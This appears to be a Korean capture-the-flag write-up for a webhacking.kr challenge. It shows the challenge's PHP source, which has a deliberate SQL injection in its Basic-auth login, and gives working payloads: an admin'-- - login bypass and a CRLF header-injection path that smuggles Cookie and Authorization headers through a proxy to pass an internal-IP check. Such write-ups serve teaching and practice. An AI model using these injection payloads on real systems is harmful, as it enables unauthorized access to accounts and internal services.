admin 페이지에서 로그인 취소하고 view source를 클릭하면 소스를 볼 수 있는데

<?php
include "config.php";
if($_GET['view_source']) view_source();
if($_GET['logout'] == 1){
  $_SESSION['login']="";
  exit("<script>location.href='./';</script>");
}
if($_SESSION['login']){
  echo "hi {$_SESSION['login']}<br>";
  if($_SESSION['login'] == "admin"){
    if(preg_match("/^172\.17\.0\./",$_SERVER['REMOTE_ADDR'])) echo $flag;
    else echo "Only access from virtual IP address";
  }
  else echo "You are not admin";
  echo "<br><a href=./?logout=1>[logout]</a>";
  exit;
}
if(!$_SESSION['login']){
  if(preg_match("/logout=1/",$_SERVER['HTTP_REFERER'])){
    header('WWW-Authenticate: Basic realm="Protected Area"');
    header('HTTP/1.0 401 Unauthorized');
  }
  if($_SERVER['PHP_AUTH_USER']){
    $id = $_SERVER['PHP_AUTH_USER'];
    $pw = $_SERVER['PHP_AUTH_PW'];
    $pw = md5($pw);
    $db = dbconnect();
    $query = "select id from member where id='{$id}' and pw='{$pw}'";
    $result = mysqli_fetch_array(mysqli_query($db,$query));
    if($result['id']){
      $_SESSION['login'] = $result['id'];
      exit("<script>location.href='./';</script>");
    }
  }
  if(!$_SESSION['login']){
    header('WWW-Authenticate: Basic realm="Protected Area"');
    header('HTTP/1.0 401 Unauthorized');
    echo "Login Fail";
  }
}
?>

sql injection이 가능하고, login페이지는 admin으로 로그인 했을때 내부 아이피이면 플래그를 출력하고 아니면 Only access from virtual IP address 를 띄운다.

 

일단 admin'-- - 를 이용하여 admin으로 로그인을 해보면

내부 아이피로 접속해야 한다.

프록시 페이지에서 요청을 보낼 수 있다. 근데 path 만 넣을 수 있는데 캐니지 리턴을 이용해서 데이터를 조작할 수 있다.

/ HTTP/1.1\nA:

를 하게 되면

GET / HTTP/1.1

A: HTTP/1.1

Host: webhacking.kr:10008

Connection: Close

가 될 것이다.

이걸 이용해

요청 헤더에 Authorization: Basic YWRtaW4nLS0gLTo= 를 넣고 admin 페이지로 접속시킬 것이다.

/admin/ HTTP/1.1%0d%0aCookie: PHPSESSID=47bcmmnalsgr0onf8vh1bg86ot%0d%0aAuthorization: Basic YWRtaW4nLS0gLTo=%0d%0aA:

 

플래그가 나온다.

728x90

'해킹 > writeup' 카테고리의 다른 글

los.rubiya.kr - bugbear  (0) 2021.08.29
los.rubiya.kr - darkknight  (0) 2021.08.29
dreamhack.io - web-ssrf  (0) 2021.08.25
rubiya - golem  (0) 2021.08.18
rubiya - skeleton  (0) 2021.08.18

+ Recent posts